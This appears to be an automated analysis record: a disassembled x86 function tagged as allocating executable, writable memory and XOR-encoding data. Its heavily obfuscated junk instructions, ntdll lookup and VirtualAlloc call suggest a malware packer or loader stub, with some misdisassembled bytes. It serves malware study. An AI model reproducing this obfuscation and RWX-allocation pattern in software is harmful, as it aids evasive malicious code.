Function at 0x549430
Capabilities:
Allocate or change rwx memory
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [0x599378], 0
push ebx
push esi
push edi
push 2
pop ebx
jne 0x54946f
push str.LdrUnloadDll
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
not eax
xor ecx, ebx
xor esi, eax
mov ebx, esp
add esi, eax
mov edx, edx
dec esi
neg esi
xor edx, edx
and ecx, 0x394433d4
dec esi
or esi, edi
shl eax, 0x1b
loopne 0x54948c
or esi, edi
dec eax
rol eax, 9
and eax, 0x51af188
shr eax, 0x16
neg edx
xor edx, 0x56f33c1
shl edx, 0x1d
mov ecx, dword [0x598c96]
or eax, 0x598c96
or esi, edi
shl esi, 9
xor esi, esi
mov eax, 0x1b701720
mov esi, eax
rol esi, 0x1c
inc edi
mov ecx, 0x963413
neg eax
inc esi
shr eax, 7
pop es
neg eax
call fcn.0049a1ed
rol esi, 0x19
neg esi
call fcn.00439c41
xor dword [0x58bd8e], esi
pop es
out dx, eax
push dword [ecx]
xor eax, 0x58bd8e
shl esi, 0x10
out 0x10, al
add ebx, dword [0x593128]
mov dword [0x594ec4], esi
call fcn.0043062a
shr esi, 1
xchg eax, eax
loop 0x5494a8
push ecx
jno 0x5494c6
inc ecx
out dx, al
add dword [edi - 0x7e371d40], eax
not byte [eax]
popfd
retf
xor esi, 0x36cb9d10
test esp, edi
jo 0x54950f
inc eax
dec esi
shr eax, 4
xor esi, edx
add edx, ebp
mov esi, eax
not eax
dec eax
or esi, edi
xor ecx, edx
sub ebx, dword [0x5904ba]
dec ecx
mov esi, eax
xor esi, esp
rol esi, 8
not esi
and esi, edi
dec ebx
xor edi, ebx
add ebx, eax
mov eax, eax
call fcn.00439c41
rol esi, 4
test esp, esi
jb 0x5494ad
dec esi
mov edi, esi
ror esi, 0x10
xor edx, edx
dec ebx
test eax, edx
jo 0x5494d5
call fcn.00529642
test eax, eax
jo 0x5494bc
xor esi, eax
and esi, edi
rol esi, 0x13
or esi, edi
call fcn.0049a1ed
sub edi, esp
add esi, eax
not eax
call fcn.004023a7
and esi, edi
ror ecx, 0x11
mov eax, esp
rol eax, 6
test edx, esi
jo 0x5494f8
mov ecx, dword [0x597c10]
mov ecx, 0x25c38eba
inc edx
xchg esi, esi
call fcn.0043062a
inc esi
shr eax, 0xe
xchg eax, eax
rol edx, 6
dec eax
sub edi, dword [0x596264]
mov edi, dword [0x59261a]
xchg esi, esi
neg edi
loop 0x549569
sub eax, eax
test esp, 0x1934fd2c
jo 0x5495d9
mov esi, 0xb76a9be
neg eax
xor esi, ebp
shr eax, 0x14
rol eax, 0x10
sub esi, 0x10dd236
neg esi
add eax, 0x1a370c89
xor ecx, eax
mov edi, eax
call fcn.004a3a86
sub eax, 0x19b3ea57
mov ecx, ecx
xor ecx, eax
mov esi, eax
mov ecx, 0x2a492ae8
xchg eax, esi
neg esi
inc edi
shr esi, 0x16
add dword [0x595faa], ecx
dec edx
call fcn.0040151e
ror edx, 8
rol eax, 0x1a
inc esi
rol esi, 0x1e
ror esi, 0x1c
loop 0x5495ce
pop edi
pop ecx
add byte [edx - 0x18], cl
cmp al, 0x7f
jmp 0x5495e1
inc ecx
retf 0xc108
mov eax, esi
xor ebx, eax
neg ecx
or eax, eax
sub ecx, dword [0x58c76f]
inc eax
shl esi, 0x1f
mov eax, esi
xor edi, edi
xor ecx, ecx
call fcn.0040151e
mov ecx, 0x2ef1dffe
int1
mov dword cs:[0x5982a1], 0x4daacd8
mov dword [0x5982a1], 0x4daacd8
call fcn.00407409
or edx, dword [0x58bc9e]
rol edx, 0x16
inc esi
rol eax, 0xe
shr ebx, 4
xchg esi, eax
dec edx
inc ebx
test eax, 0x1731738
jb 0x549611
loop 0x549613
test ebx, eax
jo 0x549609
not edx
inc esi
not edx
and esi, edi
not esi
mov dword [0x595f2f], 0xaf5e538
dec esi
xor edi, eax
mov edi, esp
xchg edx, eax
or esi, edi
xor esi, ecx
sub esi, 0x62f8590
push 0x40
neg edi
xor ebx, ebx
xchg esi, eax
add ecx, ebp
xor edi, esi
dec eax
sub dword [0x59a78c], ebx
inc esi
xor eax, 0xe9c31a6
sub dword [0x59a316], ebx
xor esi, dword [0x593b0c]
inc edx
call fcn.0049a1ed
mov dword [0x59a314], ebx
neg esi
rol esi, 6
xor esi, dword [0x593456]
xchg esi, eax
xor esi, dword [0x58ddc6]
xor ebx, eax
xor ecx, esi
mov dword [0x59a187], edi
push 0x3000
sub dword [0x59a40a], 0x46bbfc
sub edx, dword [str.EVERYTHING]
rol ecx, 1
call fcn.00529642
xor edi, edx
xor edx, dword [0x58bd82]
xor edx, ecx
call fcn.004a3a86
sub ecx, dword [0x592060]
dec ebx
add esi, 0xaca36f0
inc esi
xor esi, eax
neg ecx
call fcn.00407209
mov dword [0x59a4b8], 0x3fee8060
push 0x5f0
dec esi
xchg esi, edx
ror eax, 0x1b
sub edi, dword [0x58ea82]
ror esi, 0x1f
sub ecx, dword [0x594a12]
xor edx, eax
or dword [0x59a49e], edi
inc ebx
sub edi, ebx
push 0
call fcn.00529642
xor edx, dword [str.Fullscreen]
xor esi, eax
xor dword [0x59a79c], ecx
not edi
dec edi
neg esi
dec edx
call fcn.004a3a86
xor edi, edi
mov dword [0x59a7b2], 0x1a10f363
xor ecx, dword [str.case]
xor dword [0x59a572], 0x424053c
xor ecx, dword [0x595200]
mov dword [0x59a14c], 0x27e6108c
call fcn.00403de9
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub ecx, dword [0x59aed0]
xor dword [0x59a810], 0x640f31c
rol eax, 8
call fcn.00402dd4
add edx, ebx
call fcn.0040734f
not eax
dec eax
xor ecx, dword [0x59ad3a]
xor esi, dword [0x59a9b5]
not eax
mov dword [0x59a23c], 0x9244fb6
add edx, dword [0x59af6e]
rol ebx, 0x1b
and dword [0x59a40a], edi
rol edi, 8
dec eax
neg esi
mov dword [0x59a810], edi
sub ecx, dword [0x59ae82]
sub eax, 0x221a773
add eax, 0x221a773
neg esi
inc eax
ror edi, 8
mov dword [0x59a4b4], edi
ror ebx, 0x1b
xor dword [0x59a172], 0x1f010534
not eax
inc eax
not eax
sub edx, ebx
ror eax, 8
mov dword [0x59a78c], 0x154035
call 0x549819
xor esi, esp
add esi, ebp
inc esi
rol ebx, 0x11
or dword [0x59a543], edi
inc edx
not ecx
call fcn.00404c89
rol eax, 9
dec esi
xor ebx, dword [0x59aad1]
xor esi, eax
ror esi, 0x12
sub esi, eax
mov dword [0x59a22a], ecx
mov dword [0x59a4dc], edx
add esi, eax
rol esi, 0x12
xor esi, eax
inc esi
ror eax, 9
not ecx
dec edx
mov dword [0x59a31c], esi
ror ebx, 0x11
dec esi
sub esi, ebp
xor esi, esp
pop esi
not esi
dec esi
add dword [0x59a4fc], 0xa15b7e0
dec eax
call fcn.00408125
xor edi, esp
rol edx, 0xd
add esi, 0x8ecd513
sub edi, eax
xor edi, ebp
xor edi, ebp
add edi, eax
sub esi, 0x8ecd513
ror edx, 0xd
xor edi, esp
call fcn.004088b5
inc eax
inc esi
not esi
add esi, 0x25c
inc edx
xor eax, ecx
neg esi
xor esi, dword [0x59aa40]
rol esi, 0xc
not esi
call fcn.00407e40
not esi
mov dword [0x59a4f0], ecx
sub ebx, eax
add ebx, eax
or dword [0x59a765], edi
not esi
call fcn.00409045
not esi
ror esi, 0xc
neg esi
xor eax, ecx
dec edx
mov edi, eax
inc edx
call fcn.00405db9
add ebx, eax
rol ebx, 0x13
sub esi, eax
add esi, eax
sub ecx, dword [0x59ad6c]
xor ecx, dword [0x59a8c0]
xor esi, 0x1bd6a568
mov dword [0x59a670], edi
xor edi, dword [0x59aad7]
sub ebx, dword [0x59adea]
sub eax, 0x3df279e
xor esi, eax
call fcn.00408017
add esi, 0x18130c56
sub esi, dword [0x59a8f2]
sub esi, 0x18130c56
out dx, al
push esi
or al, 0x13
sbb al, ch
in al, 0x7b
jmp 0x549939
xor esi, eax
add eax, 0x3df279e
fild word [ebx]